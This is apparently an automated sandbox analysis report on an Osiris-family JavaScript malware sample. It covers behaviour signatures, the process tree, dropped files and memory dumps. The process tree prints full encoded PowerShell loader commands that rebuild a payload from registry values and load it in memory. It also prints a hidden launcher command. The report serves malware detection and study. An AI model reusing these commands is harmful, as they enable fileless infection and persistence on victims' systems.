Analysis

  • max time kernel
    104s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250502-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/05/2025, 11:04

General

  • Target
    JaffaCakes118_01ccfabf585a85f66195351871b9b467.js
  • Size 2.5MB
  • Sample250511-m591lsbk21
  • SHA256 d0ac1b89cd4522882989b06c18ef2b80b05e07d64de1f562f79e2d631536fed3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Osiris family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Start PowerShell.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Suspicious use of SetThreadContext 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_01ccfabf585a85f66195351871b9b467.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
        3⤵
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5944
        • C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
          "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4920
          • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
            "C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
            5⤵
            • Executes dropped EXE
            PID:2948
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4920 -s 1076
            5⤵
            • Program crash
            PID:392
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Win Hi -Command "$r = [Environment]::GetEnvironmentVariable('Admin', 'User').split();$p=$r[0];$r[0]='';Start-Process $p -ArgumentList ($r -join ' ') -Win Hi"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Win Hi -Command "$r = [Environment]::GetEnvironmentVariable('Admin', 'User').split();$p=$r[0];$r[0]='';Start-Process $p -ArgumentList ($r -join ' ') -Win Hi"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5040
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1500
        • C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
          "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
          4⤵
            PID:4520
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4920 -ip 4920
      1⤵
        PID:1232

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            • Size 1KB
            • SHA256 aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 18KB
            • SHA256 c1f6abb94efb052224f27752f14278e59f71829fdb059967eed4bc461e1ac500
            • MD5 SHA1 SHA512 SSDEEP

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 bdfcd9f47a5649823bc8266b1b0f770819cbfc7242a8b0fec77b2b3ec8a02447
            • MD5 SHA1 SHA512

            GetX64BTIT.exe

            • Path C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
            • Size 3KB
            • SHA256 91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_njecjhjx.uyd.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_njecjhjx.uyd.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            x64btit.txt

            • Path C:\Users\Admin\AppData\Local\Temp\x64btit.txt
            • Size 28B
            • SHA256 a718a54be7de9dd0c16f81b57faac55338a221cbad6a50c53c35e2db5289280e
            • MD5 SHA1 SHA512

            memory/1500-64-0x0000000005EA0000-0x00000000061F4000-memory.dmp

            memory/1500-70-0x0000000006550000-0x000000000659C000-memory.dmp

            memory/4920-72-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-48-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-73-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-74-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-78-0x0000000000400000-0x0000000000456000-memory.dmp

            memory/4920-46-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-47-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-83-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-79-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-28-0x0000000000400000-0x0000000000456000-memory.dmp

            memory/4920-27-0x0000000000400000-0x0000000000456000-memory.dmp

            memory/4920-25-0x0000000000400000-0x0000000000456000-memory.dmp

            memory/4920-50-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-33-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/4920-49-0x0000000000D50000-0x0000000000DEF000-memory.dmp

            memory/5040-35-0x000001B876790000-0x000001B8767B2000-memory.dmp

            memory/5944-18-0x0000000006660000-0x00000000066AC000-memory.dmp

            memory/5944-34-0x00000000753B0000-0x0000000075B60000-memory.dmp

            memory/5944-32-0x00000000753B0000-0x0000000075B60000-memory.dmp

            memory/5944-30-0x00000000753BE000-0x00000000753BF000-memory.dmp

            memory/5944-24-0x00000000079F0000-0x0000000007B42000-memory.dmp

            memory/5944-23-0x00000000076B0000-0x00000000076B8000-memory.dmp

            memory/5944-22-0x0000000007E80000-0x0000000008424000-memory.dmp

            memory/5944-21-0x0000000006B80000-0x0000000006BA2000-memory.dmp

            memory/5944-20-0x0000000006B30000-0x0000000006B4A000-memory.dmp

            memory/5944-19-0x00000000075C0000-0x0000000007656000-memory.dmp

            memory/5944-0-0x00000000753BE000-0x00000000753BF000-memory.dmp

            memory/5944-17-0x00000000065D0000-0x00000000065EE000-memory.dmp

            memory/5944-12-0x0000000005F40000-0x0000000006294000-memory.dmp

            memory/5944-6-0x0000000005ED0000-0x0000000005F36000-memory.dmp

            memory/5944-5-0x0000000005E60000-0x0000000005EC6000-memory.dmp

            memory/5944-4-0x0000000005680000-0x00000000056A2000-memory.dmp

            memory/5944-3-0x0000000005780000-0x0000000005DA8000-memory.dmp

            memory/5944-2-0x00000000753B0000-0x0000000075B60000-memory.dmp

            memory/5944-1-0x0000000004F90000-0x0000000004FC6000-memory.dmp